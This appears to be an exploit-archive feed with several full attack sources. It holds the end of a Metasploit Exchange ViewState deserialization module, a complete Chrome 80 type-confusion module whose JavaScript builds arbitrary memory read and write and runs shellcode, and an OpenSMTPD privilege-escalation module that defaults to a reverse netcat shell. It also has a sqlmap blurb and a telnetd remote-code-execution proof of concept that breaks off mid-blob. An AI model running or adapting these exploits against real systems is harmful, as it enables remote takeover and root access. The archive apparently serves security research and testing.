CheckCode::Vulnerable
end

def generate_viewstate(generator, session_id, cmd)
viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)
signature = generate_viewstate_signature(generator, session_id, viewstate)
Rex::Text.encode_base64(viewstate + signature)
end

def generate_viewstate_signature(generator, session_id, viewstate)
mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')
mac_key_bytes << Rex::Text.to_unicode(session_id)
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
end

def exploit
state = get_request_setup

# the major limit is the max length of a GET request, the command will be
# XML escaped and then base64 encoded which both increase the size
if target.arch.first == ARCH_CMD
execute_command(payload.encoded, opts={state: state})
else
cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
end
end

def execute_command(cmd, opts)
state = opts[:state]
viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
5.times do |iteration|
# this request *must* be a GET request, can't use POST to use a larger viewstate
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => state[:cookies].join(''),
'agent' => state[:user_agent],
'vars_get' => {
'__VIEWSTATE' => viewstate,
'__VIEWSTATEGENERATOR' => state[:viewstate_generator]
}
})
break
rescue Rex::ConnectionError, Errno::ECONNRESET => e
vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
sleep iteration
end
end

def get_request_setup
# need to use a newer default user-agent than what Metasploit currently provides
# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
'method' => 'POST',
'agent' => user_agent,
'vars_post' => {
'password' => datastore['PASSWORD'],
'flags' => '4',
'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),
'username' => datastore['USERNAME']
}
})
fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
cookies = [res.get_cookies]

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => res.get_cookies,
'agent' => user_agent
})
fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
cookies << res.get_cookies

viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]
if viewstate_generator.nil?
print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
else
vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
end

viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]
if viewstate.nil?
vprint_warning('Failed to find the __VIEWSTATE value')
end

session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
if session_id.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
end
vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")

{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
end
end

Google Chrome 80 JSCreate Side-Effect Type Confusion

$
0
0

This Metasploit module exploits an issue in Google Chrome version 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.


MD5 | 2477d57f77b12b3980be7a18ed9dedf2

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Post::File
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
'Description' => %q{
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
corrupts the length of a float array (float_rel), which can then be used for out
of bounds read and write on adjacent memory.
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
which is used for read and writing from absolute memory.
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
which is then replaced with the payload shellcode.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Clément Lecigne', # discovery
'István Kurucsai', # exploit
'Vignesh S Rao', # exploit
'timwr', # metasploit copypasta
],
'References' => [
['CVE', '2020-6418'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
],
'Arch' => [ ARCH_X64 ],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
],
'DisclosureDate' => 'Feb 19 2020'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.raw)
jscript = %Q^
var shellcode = unescape("#{escaped_payload}");

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}

Number.prototype.fhw = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}

Number.prototype.flw = function() {
float_view[0] = this;
return int_view[0] & BigInt(2**32-1);
}

Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}

function hex(a) {
return a.toString(16);
}

//
// EXPLOIT
//

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initially corruption target
var float_carw; // float array, used for reads/writes within the compressed heap
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker; // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
float_carw = [6.6];
uint64_aarw = new BigUint64Array(4);
obj_leaker = {
a: float_rel,
b: float_rel,
};

return Object.prototype;
}
});

function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}

// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
var qw_offset = Math.floor(offset / 2);
if (offset & 1 == 1) {
return float_rel[qw_offset].fhw();
} else {
return float_rel[qw_offset].flw();
}
}

// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
var qw_offset = Math.floor(offset / 2);
// we are writing an 8-byte double under the hood
// read out the other half and keep its value
if (offset & 1 == 1) {
temp = float_rel[qw_offset].flw();
new_val = (val << 32n | temp).i2f();
float_rel[qw_offset] = new_val;
} else {
temp = float_rel[qw_offset].fhw();
new_val = (temp << 32n | val).i2f();
float_rel[qw_offset] = new_val;
}
}

const float_carw_elements_offset = 0x14;

function cabs_read4(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read4: ' + hex(float_carw[0].f2i()));
res = float_carw[0].flw();
// TODO restore elements ptr
return res;
}


// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read8: ' + hex(float_carw[0].f2i()));
res = float_carw[0].f2i();
// TODO restore elements ptr
return res;
}

// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
elements_addr = caddr - 8n | 1n;

temp = cabs_read4(caddr + 4n | 1n);
print('cabs_write4 temp: '+ hex(temp));

new_val = (temp << 32n | val).i2f();

crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));

float_carw[0] = new_val;
// TODO restore elements ptr
return res;
}

const objleaker_offset = 0x41;
function addrof(o) {
obj_leaker.b = o;
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
obj_leaker.b = {};
return addr;
}

const uint64_externalptr_offset = 0x1b; // in 8-bytes

// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

val = uint64_aarw[0];

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}

// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

uint64_aarw[0] = val;

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}

// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset - 1] = 10;
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

for (var i = 0; i < sc.length; ++i) {
uint64_aarw[i] = sc[i]
}

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
}


function get_compressed_rw() {

for (var i = 0; i < 0x10000; ++i) {empty();}

main(empty);
main(empty);

// Function would be jit compiled now.
main(p);

print(`Corrupted length of float_rel array = ${float_rel.length}`);
}

function get_arw() {
get_compressed_rw();
print('should be 0x2: ' + hex(crel_read4(0x15)));
let previous_elements = crel_read4(0x14);
//print(hex(previous_elements));
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));
cabs_write4(previous_elements, 0x66554433n);
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));

print('addrof(float_rel): ' + hex(addrof(float_rel)));
uint64_aarw[0] = 0x4142434445464748n;
}

function rce() {
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}

let wasm_func = get_wasm_func();
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func);
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
print('sfi: ' + hex(sfi));
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));

let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
print('instance: ' + hex(instance));

let wasm_rwx_addr = cabs_read8(instance + 0x68n);
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));

// write the shellcode to the RWX page
while(shellcode.length % 4 != 0){
shellcode += "\u9090";
}

let sc = [];

// convert the shellcode to BigInt
for (let i = 0; i < shellcode.length; i += 4) {
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
}

writeShellcode(wasm_rwx_addr,sc);

print('success');
wasm_func();
}


function exp() {
get_arw();
rce();
}

exp();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end

html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end


OpenSMTPD Out-Of-Bounds Read / Local Privilege Escalation

$
0
0

This Metasploit module exploits an out-of-bounds read of an attacker-controlled string in OpenSMTPD's MTA implementation to execute a command as the root or nobody user, depending on the kind of grammar OpenSMTPD uses.


MD5 | 229752794172ef51ce4a73f8eb7d3948

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

# smtpd(8) may crash on a malformed message
Rank = AverageRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Expect

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
'Description' => %q{
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-8794'],
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
],
'DisclosureDate' => '2020-02-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # NOTE: Only when exploiting new grammar
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
'Targets' => [
['OpenSMTPD < 6.6.4 (automatic grammar selection)',
patched_version: Gem::Version.new('6.6.4'),
new_grammar_version: Gem::Version.new('6.4.0')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 25,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 60 # May take a little while for mail to process
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])

# HACK: We need to run check in order to determine a grammar to use
options.remove_option('AutoCheck')
end

def srvhost_addr
Rex::Socket.source_address(session.session_host)
end

def rcpt_to
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
end

def check
smtpd_help = cmd_exec('smtpd -h')

if smtpd_help.empty?
return CheckCode::Unknown('smtpd(8) help could not be displayed')
end

version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first

unless version
return CheckCode::Unknown('OpenSMTPD version could not be found')
end

version = Gem::Version.new(version)

if version < target[:patched_version]
if version >= target[:new_grammar_version]
vprint_status("OpenSMTPD #{version} is using new grammar")
@grammar = :new
else
vprint_status("OpenSMTPD #{version} is using old grammar")
@grammar = :old
end

return CheckCode::Appears(
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
)
end

CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

start_service

sendmail = "/usr/sbin/sendmail '#{rcpt_to}'< /dev/null && echo true"

print_status("Executing local sendmail(8) command: #{sendmail}")
if cmd_exec(sendmail) != 'true'
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
end
end

def on_client_connect(client)
print_status("Client #{client.peerhost}:#{client.peerport} connected")

# Brilliant work, Qualys!
case @grammar
when :new
print_status('Exploiting new OpenSMTPD grammar for a root shell')

yeet = <<~EOF
553-
553

dispatcher: local_mail
type: mda
mda-user: root
mda-exec: #{payload.encoded}; exit 0\x00
EOF
when :old
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')

yeet = <<~EOF
553-
553

type: mda
mda-method: mda
mda-usertable: <getpwnam>
mda-user: nobody
mda-buffer: #{payload.encoded}; exit 0\x00
EOF
else
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
end

sploit = {
'220' => /EHLO /,
'250' => /MAIL FROM:<[^>]/,
yeet => nil
}

print_status('Faking SMTP server and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: client,
newline: "\r\n",
timeout: datastore['ExpectTimeout']
)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
client.close
end

def on_client_close(client)
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
end

end

SQLMAP - Automatic SQL Injection Tool 1.4.3

$
0
0

sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.


MD5 | 441532375d2cf56bdce09438da062dfd


netkit-telnet 0.17 Remote Code Execution

$
0
0

netkit-telnet version 0.17 telnetd on Fedora 31 BraveStarr remote code execution exploit.


MD5 | 503ae749118ebb1b92bd9fc3e9b4caba

#!/usr/bin/env python3
#
# BraveStarr
# ==========
#
# Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd.
#
# This is for demonstration purposes only. It has by no means been engineered
# to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot
# of other constraints are not validated.
#
# AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer
#
import argparse
import base64
import fcntl
import gzip
import socket
import struct
import sys
import termios
import time

class BraveStarr(object):
SE = 240 # 0xf0
DM = 242 # 0xf2
AO = 245 # 0xf5
SB = 250 # 0xfa
WILL = 251 # 0xfb
WONT = 252 # 0xfc
DO = 253 # 0xfd
IAC = 255 # 0xff

TELOPT_STATUS = 5
TELOPT_TTYPE = 24
TELOPT_NAWS = 31
TELOPT_TSPEED = 32
TELOPT_XDISPLOC = 35
TELOPT_ENVIRON = 39

TELQUAL_IS = 0
TELQUAL_SEND = 1
TELQUAL_INFO = 2

NETIBUF_SIZE = 8192
NETOBUF_SIZE = 8192

# Data segment offsets of interesting variables relative to `netibuf'.
netibuf_deltas = {
'loginprg': -34952,
'state_rcsid': -34880,
'subpointer': -34816,
'ptyslavefd': -34488,
'environ': -33408,
'state': -33268,
'LastArgv': -26816,
'Argv': -26808,
'remote_host_name': -26752,
'pbackp': -9232,
'nbackp': 8192
}

def __init__(self, host, port=23, timeout=5, callback_host=None):
self.host = host
self.port = port
self.sd = None
self.timeout = timeout

self.leak_marker = b"MARKER|MARKER"
self.addresses = {}
self.values = {}

if callback_host is not None:
self.chost = bytes(callback_host, 'ascii')

def fatal(self, msg):
print(msg, file=sys.stderr)
sys.exit(1)

def connect(self):
self.sd = socket.create_connection((self.host, self.port))

# Try to ensure the remote side will read a full 8191 bytes for
# `netobuf_fill' to work properly.
self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191)

def address_delta(self, name1, name2):
return self.addresses[name1] - self.addresses[name2]

def address_serialize(self, name):
return struct.pack("<Q", self.addresses[name])

def ao(self):
return b"%c%c" % (self.IAC, self.AO)

def do(self, cmd):
return b"%c%c%c" % (self.IAC, self.DO, cmd)

def sb(self):
return b"%c%c" % (self.IAC, self.SB)

def se(self):
return b"%c%c" % (self.IAC, self.SE)

def will(self, cmd):
return b"%c%c%c" % (self.IAC, self.WILL, cmd)

def wont(self, cmd):
return b"%c%c%c" % (self.IAC, self.WONT, cmd)

def tx_flush(self):
while self.tx_len() != 0:
time.sleep(0.2)

def tx_len(self):
data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, "")
return struct.unpack('i', data)[0]

def netobuf_fill(self, delta):
# This populates the prefix of `netobuf' with IAC WONT SB triplets.
# This is not relevant now, but during the next time data is sent and
# `netobuf' will be reprocessed in `netclear' will calls `nextitem'.
# The `nextitem' function will overindex past `nfrontp' and use these
# triplets in the processing logic.
s = self.do(self.SB) * delta

# IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set
# `neturg' to the DM byte in `netobuf'.
s += self.ao()

# In this request, every byte in `netibuf' will store a byte in
# `netobuf'. Here we ensure that all `netobuf' space is filled except
# for the last byte.
s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3)

# We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC
# triplet will write IAC to the last free byte of `netobuf'. After
# this `netflush' will be called, and the DO IAC bytes will be written
# to the beginning of the now empty `netobuf'.
s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3)

# Send it out. This should be read in a single read(..., 8191) call on
# the remote side. We should probably tune the TCP MSS for this.
self.sd.sendall(s)

# We need to ensure this is written to the remote now. This is a bit
# of a kludge, as the remote can perfectly well still merge the
# separate packets into a single read(). This is less likely as the
# time delay increases. To do this properly we'd need to statefully
# match the responses to what we send. Alack, this is a PoC.
self.tx_flush()

def reset_and_sync(self):
# After triggering the bug, we want to ensure that nbackp = nfrontp =
# netobuf We can do so by getting netflush() called, and an easy way to
# accomplish this is using the TELOPT_STATUS suboption, which will end
# with a netflush.
self.telopt_status()

# We resynchronize on the output we receive by loosely scanning if the
# TELOPT_STATUS option is there. This is not a reliable way to do
# things. Alack, this is a PoC.
s = b""
status = b"%s%c" % (self.sb(), self.TELOPT_STATUS)
while status not in s and not s.endswith(self.se()):
s += self.sd.recv(self.NETOBUF_SIZE)

def telopt_status(self, mode=None):
if mode is None: mode = self.TELQUAL_SEND
s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se())
self.sd.sendall(self.do(self.TELOPT_STATUS))
self.sd.sendall(s)

def trigger(self, delta, prefix=b"", suffix=b""):
assert b"\xff" not in prefix
assert b"\xff" not in suffix

s = prefix

# Add a literal b"\xff\xf0" to `netibuf'. This will terminate the
# `nextitem' scanning for IAC SB sequences.
s += self.se()
s += self.do(self.IAC) * delta

# IAC AO will force a call to `netclear'.
s += self.ao()
s += suffix

self.sd.sendall(s)

def infoleak(self):
# We use a delta that creates a SB/SE item
delta = 512
self.netobuf_fill(delta)
self.trigger(delta, self.leak_marker)

s = b""
self.sd.settimeout(self.timeout)
while self.leak_marker not in s:
try:
ret = self.sd.recv(8192)
except socket.timeout:
self.fatal('infoleak unsuccessful.')

if ret == b"":
self.fatal('infoleak unsuccessful.')
s += ret

return s

def infoleak_analyze(self, s):
m = s.rindex(self.leak_marker)
s = s[:m-20] # Cut 20 bytes of padding off too.

# Layout will depend on build. This works on Fedora 31.
self.values['net'] = struct.unpack("<I", s[-4:])[0]
self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0]
self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0]
self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0]

# Resolve Fedora 31 specific addresses.
self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980
adjustment = len(max(self.netibuf_deltas, key=len))
for k, v in self.netibuf_deltas.items():
self.addresses[k] = self.addresses['netibuf'] + v

def _scratch_build(self, cmd, argv, envp):
# We use `state_rcsid' as the scratch memory area. As this area is
# fairly small, the bytes after it on the data segment will likely
# also be used. Nothing harmful is contained here for a while, so
# this is okay.
scratchpad = self.addresses['state_rcsid']
exec_stub = b"/bin/bash"
rcsid = b""
data_offset = (len(argv) + len(envp) + 2) * 8

# First we populate all argv pointers into the scratchpad.
argv_address = scratchpad
for arg in argv:
rcsid += struct.pack("<Q", scratchpad + data_offset)
data_offset += len(arg) + 1
rcsid += struct.pack("<Q", 0)

# Next we populate all envp pointers into the scratchpad.
envp_address = scratchpad + len(rcsid)
for env in envp:
rcsid += struct.pack("<Q", scratchpad + data_offset)
data_offset += len(env) + 1
rcsid += struct.pack("<Q", 0)

# Now handle the argv strings.
for arg in argv:
rcsid += arg + b'\0'

# And the environment strings.
for env in envp:
rcsid += env + b'\0'

# Finally the execution stub command is stored here.
stub_address = scratchpad + len(rcsid)
rcsid += exec_stub + b"\0"

return (rcsid, argv_address, envp_address, stub_address)

def _fill_area(self, name1, name2, d):
return b"\0" * (self.address_delta(name1, name2) - d)

def exploit(self, cmd):
env_user = b"USER=" + cmd
rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user])

# The initial exploitation vector: this overwrite the area after
# `netobuf' with updated pointers values to overwrite `loginprg'
v = struct.pack("<Q", self.addresses['netibuf']) # netip
v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp
v += struct.pack("<Q", 0) # neturg
v += struct.pack("<I", self.values['net']) # net
v = v.ljust(48, b'\0') # padding

self.netobuf_fill(len(v))
self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8)
self.reset_and_sync()

s = b""
s += self._fill_area('state_rcsid', 'loginprg', 8)
s += rcsid
s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid))
s += struct.pack("<I", 5)
s += self._fill_area('environ', 'ptyslavefd', 4)
s += struct.pack("<Q", envp)
s += self._fill_area('LastArgv', 'environ', 8)
s += struct.pack("<Q", argv) * 2
s += self._fill_area('remote_host_name', 'LastArgv', 16)
s += b"-c\0"

self.sd.sendall(s)
self.tx_flush()

# We need to finish `getterminaltype' in telnetd and ensure `startslave' is
# called.
self.sd.sendall(self.wont(self.TELOPT_TTYPE))
self.sd.sendall(self.wont(self.TELOPT_TSPEED))
self.sd.sendall(self.wont(self.TELOPT_XDISPLOC))
self.sd.sendall(self.wont(self.TELOPT_ENVIRON))

banner = """
H4sICBThWF4CA2JsYQC1W0ly4zAMvPsLuegJ4i5VnjJv0P+vU44TRwTBbsBy5jBVikRiaywE6GX5
s3+3+38f/9bj41/ePstnLMfz3f3PbP1kqW3xN32xx/kxxe55246Rbum/+dkCcKnx5mPi9BjSfTPJ
pPwAva8VCmBg3qzQgdYaD0FD/US+J/rvITC+PP+lnkQCQOyoL4oMDhFUpM5F0Fee7UCUHlYEoAf/
4Puw7t2zasMOcD2BAvFbomqkh3h2rxCvi+Ap5hnG53s8vB1sKj0JCzriRIrQ85jisSw+PY6hyrw8
SDfC+g3toCYyqKenmA4VBrY4WC681Uif/OtGAnTIxwTBkxD8WEF3nEVfsDCP+5yedwvjzKx71nnt
0BGJvDlTvnsDNSUOIgv+arD/c0GwkPqKaZIaUVxKDlM+Q8Pmsb8OSsF6FFYM64plS0XZAIYESSJm
icYGkRMVoC2Mh8T3UOKUriTGUBhg2siCJgyZhZIz9ldqgnE53p6QHwlQhpuoxuiGOK1kup6I9A6Y
ZlHvsA1iVYWwHSlUiaXQDSbfpOjAwN/MRTamLwLywQSBuEnZIEPMwnU9nAY/FnvSrOtrPolJDjyl
zRMJNBG75yCeN/x9ViNt5wTBHakABFmkrSukxqL+jFvdI7MTX5l7n0s3UrjeWwp1x4DwOvFOXAuM
6IyGuG4hqy0ByqDCp6hsIlRQNpcB6qr4ave8C4MFuWDDJijOeCVKsbKxYELrmDgmoUuY/hHh6WCe
2FdJFUPzrSXgYyxKp2Hyy4yW8gsxgFRGqhr0Nc6A9lzmwIxUeuXLmc8g4SW+Vpq/XCVMocGJHixk
